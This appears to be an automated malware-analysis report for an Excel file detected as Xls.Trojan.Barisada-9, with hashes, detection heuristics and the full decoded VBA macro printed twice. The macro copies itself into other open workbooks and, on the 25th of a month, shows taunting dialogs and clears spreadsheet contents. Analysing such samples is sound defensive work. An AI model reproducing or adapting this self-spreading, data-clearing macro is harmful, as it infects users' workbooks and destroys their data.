Xls.Trojan.Barisada-9 — Office (OLE) malware analysis

Static analysis result for SHA-256 67bbd429debbad1f…

MALICIOUS

Office (OLE)

905.5 KB Created: 1998-12-18 08:49:54 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 09b4291312c417dffa8117e3fdc03986 SHA-1: be78a43c6947de2e0ebf81756e427a4d4fd2ef3f SHA-256: 67bbd429debbad1fb11cddb5dde752fbafcb066a1c30f9f2a1cb3704ac2cd196
80 Risk Score

Malware Insights

Xls.Trojan.Barisada-9 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Barisada-9. Static analysis revealed VBA macros within the document. The macro code attempts to display a series of dialog boxes with misleading questions and responses, and includes logic that could lead to file deletion, indicating a destructive or disruptive intent.

Heuristics 2

  • ClamAV: Xls.Trojan.Barisada-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Barisada-9
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4040 bytes
SHA-256: 4a68a86ffae82629796a00b8b07661a1df4d657baa7770e49c171a2d7412b7a2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)

Flag = False
 
 

For i = 1 To Workbooks.Count
  eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
  If eline <> 0 Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
  
  
 For j = 1 To Workbooks(i).VBProject.VBComponents.Count
  vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
  If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
 Next j: Next i
  
  
 


dday = Day(Now)

If dday = 25 Then Flag = True

If Flag = True Then
  v1 = MsgBox("Question : Hyundai Unicorns left from Incheon, What do you think of it? " & vbCr & _
  "Answer : Hyundai is SOB ", vbYesNo, "1st Qusetion")
  
  If v1 = vbYes Then MsgBox "Good! You're pretty good guy!!", vbOKOnly, "Excellent!"
  If v1 = vbNo Then
     MsgBox "Oh! no, Next question is last time for you", vbOKOnly + vbCritical, "Wrong Answer"
     v2 = MsgBox("We do not buy Hyundai's product, is it right?", vbYesNo, "If you have wrong answer, you will have punishment.")
     If v2 = vbYes Then MsgBox "You got it!", vbOKOnly, "You have right answer"
     If v2 = vbNo Then
       MsgBox "Wrong Answer, Your file will be deleted!", vbOKOnly + vbCritical, "You are SOB, too."
       For i = 1 To Workbooks.Count
        For j = 1 To Workbooks(i).Sheets.Count
          Workbooks(i).Sheets(i).Cells.Select
          Selection.Clear
       Next j: Next i:
     End If
     
     
  End If
 End If


End Sub




































































Attribute VB_Name = "Sheet111"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_WindowDeactivate(ByVal Wn As Excel.Window)

Flag = False
 
 

For i = 1 To Workbooks.Count
  eline = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule.CountOfLines
  If eline <> 0 Then vcode = Workbooks(i).VBProject.VBComponents.Item("thisworkbook").CodeModule.Lines(1, eline)
  
  
 For j = 1 To Workbooks(i).VBProject.VBComponents.Count
  vcount = Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.CountOfLines
  If vcount = 0 Then Workbooks(i).VBProject.VBComponents.Item(j).CodeModule.AddFromString (vcode)
 Next j: Next i
  
  
 


dday = Day(Now)

If dday = 25 Then Flag = True

If Flag = True Then
  v1 = MsgBox("Question : Hyundai Unicorns left from Incheon, What do you think of it? " & vbCr & _
  "Answer : Hyundai is SOB ", vbYesNo, "1st Qusetion")
  
  If v1 = vbYes Then MsgBox "Good! You're pretty good guy!!", vbOKOnly, "Excellent!"
  If v1 = vbNo Then
     MsgBox "Oh! no, Next question is last time for you", vbOKOnly + vbCritical, "Wrong Answer"
     v2 = MsgBox("We do not buy Hyundai's product, is it right?", vbYesNo, "If you have wrong answer, you will have punishment.")
     If v2 = vbYes Then MsgBox "You got it!", vbOKOnly, "You have right answer"
     If v2 = vbNo Then
       MsgBox "Wrong Answer, Your file will be deleted!", vbOKOnly + vbCritical, "You are SOB, too."
       For i = 1 To Workbooks.Count
        For j = 1 To Workbooks(i).Sheets.Count
          Workbooks(i).Sheets(i).Cells.Select
          Selection.Clear
       Next j: Next i:
     End If
     
     
  End If
 End If


End Sub